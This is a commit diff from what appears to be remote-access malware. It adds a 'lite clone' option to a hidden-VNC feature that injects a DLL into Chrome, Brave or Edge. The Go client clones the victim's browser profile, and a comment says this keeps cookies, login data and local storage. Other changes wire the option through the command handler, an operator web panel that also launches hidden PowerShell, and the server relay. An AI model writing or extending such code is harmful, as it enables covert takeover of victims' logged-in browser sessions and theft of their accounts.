add lite mode injections
This commit is contained in:
@@ -118,7 +118,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
|||||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||||
// If clone is false, it starts the browser with injection but no path redirection.
|
// If clone is false, it starts the browser with injection but no path redirection.
|
||||||
// browser should be one of: "chrome", "brave", "edge".
|
// browser should be one of: "chrome", "brave", "edge".
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error {
|
||||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||||
if !ok {
|
if !ok {
|
||||||
return fmt.Errorf("unknown browser %q", browser)
|
return fmt.Errorf("unknown browser %q", browser)
|
||||||
@@ -142,7 +142,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
||||||
|
|
||||||
cloneDir, err := cloneBrowserProfile(info.name, realUserData)
|
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("profile clone failed: %v", err)
|
return fmt.Errorf("profile clone failed: %v", err)
|
||||||
}
|
}
|
||||||
@@ -153,7 +153,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
@@ -225,7 +225,7 @@ func getBrowserUserDataDir(info browserInfo) string {
|
|||||||
// cloneBrowserProfile clones the browser user data directory, skipping only
|
// cloneBrowserProfile clones the browser user data directory, skipping only
|
||||||
// large cache directories that aren't needed for a functional session.
|
// large cache directories that aren't needed for a functional session.
|
||||||
// This preserves extensions, cookies, login data, local storage, etc.
|
// This preserves extensions, cookies, login data, local storage, etc.
|
||||||
func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
|
func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (string, error) {
|
||||||
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
||||||
// Remove any previous cloned profile directories so we always use fresh data
|
// Remove any previous cloned profile directories so we always use fresh data
|
||||||
tmpDir := os.TempDir()
|
tmpDir := os.TempDir()
|
||||||
@@ -258,6 +258,33 @@ func cloneBrowserProfile(browserName string, srcUserData string) (string, error)
|
|||||||
"commerce_local_db": true,
|
"commerce_local_db": true,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if lite {
|
||||||
|
log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
|
||||||
|
liteSkip := []string{
|
||||||
|
"extensions",
|
||||||
|
"extension state",
|
||||||
|
"extension scripts",
|
||||||
|
"extension rules",
|
||||||
|
"local extension settings",
|
||||||
|
"sync extension settings",
|
||||||
|
"indexeddb",
|
||||||
|
"file system",
|
||||||
|
"session storage",
|
||||||
|
"sessions",
|
||||||
|
"sync data",
|
||||||
|
"web applications",
|
||||||
|
"webrtc internals",
|
||||||
|
"databases",
|
||||||
|
"platform notifications",
|
||||||
|
"gcm store",
|
||||||
|
"storage",
|
||||||
|
"feature_engagement_tracker",
|
||||||
|
}
|
||||||
|
for _, d := range liteSkip {
|
||||||
|
skipDirs[d] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
entries, err := os.ReadDir(srcUserData)
|
entries, err := os.ReadDir(srcUserData)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("read user data dir: %v", err)
|
return "", fmt.Errorf("read user data dir: %v", err)
|
||||||
|
|||||||
@@ -1339,6 +1339,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
browser := ""
|
browser := ""
|
||||||
exePath := ""
|
exePath := ""
|
||||||
clone := true
|
clone := true
|
||||||
|
cloneLite := false
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["browser"].(string); ok {
|
if v, ok := payload["browser"].(string); ok {
|
||||||
browser = v
|
browser = v
|
||||||
@@ -1349,6 +1350,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["clone"].(bool); ok {
|
if v, ok := payload["clone"].(bool); ok {
|
||||||
clone = v
|
clone = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["cloneLite"].(bool); ok {
|
||||||
|
cloneLite = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
@@ -1359,10 +1363,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes))
|
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil {
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil {
|
||||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -747,13 +747,16 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
||||||
} else if (action === "start-chrome") {
|
} else if (action === "start-chrome") {
|
||||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite });
|
||||||
} else if (action === "start-brave") {
|
} else if (action === "start-brave") {
|
||||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite });
|
||||||
} else if (action === "start-edge") {
|
} else if (action === "start-edge") {
|
||||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite });
|
||||||
} else if (action === "start-custom") {
|
} else if (action === "start-custom") {
|
||||||
const exePath = prompt("Enter exe path (required)");
|
const exePath = prompt("Enter exe path (required)");
|
||||||
if (!exePath) {
|
if (!exePath) {
|
||||||
|
|||||||
@@ -156,6 +156,10 @@
|
|||||||
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
<span class="text-xs text-slate-300">Clone profile</span>
|
<span class="text-xs text-slate-300">Clone profile</span>
|
||||||
</label>
|
</label>
|
||||||
|
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||||
|
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
|
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||||
|
</label>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||||
|
|||||||
@@ -646,6 +646,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
browser: String(payload.browser || ""),
|
browser: String(payload.browser || ""),
|
||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
clone: payload.clone !== false,
|
clone: payload.clone !== false,
|
||||||
|
cloneLite: payload.cloneLite === true,
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
|
|||||||
Reference in New Issue
Block a user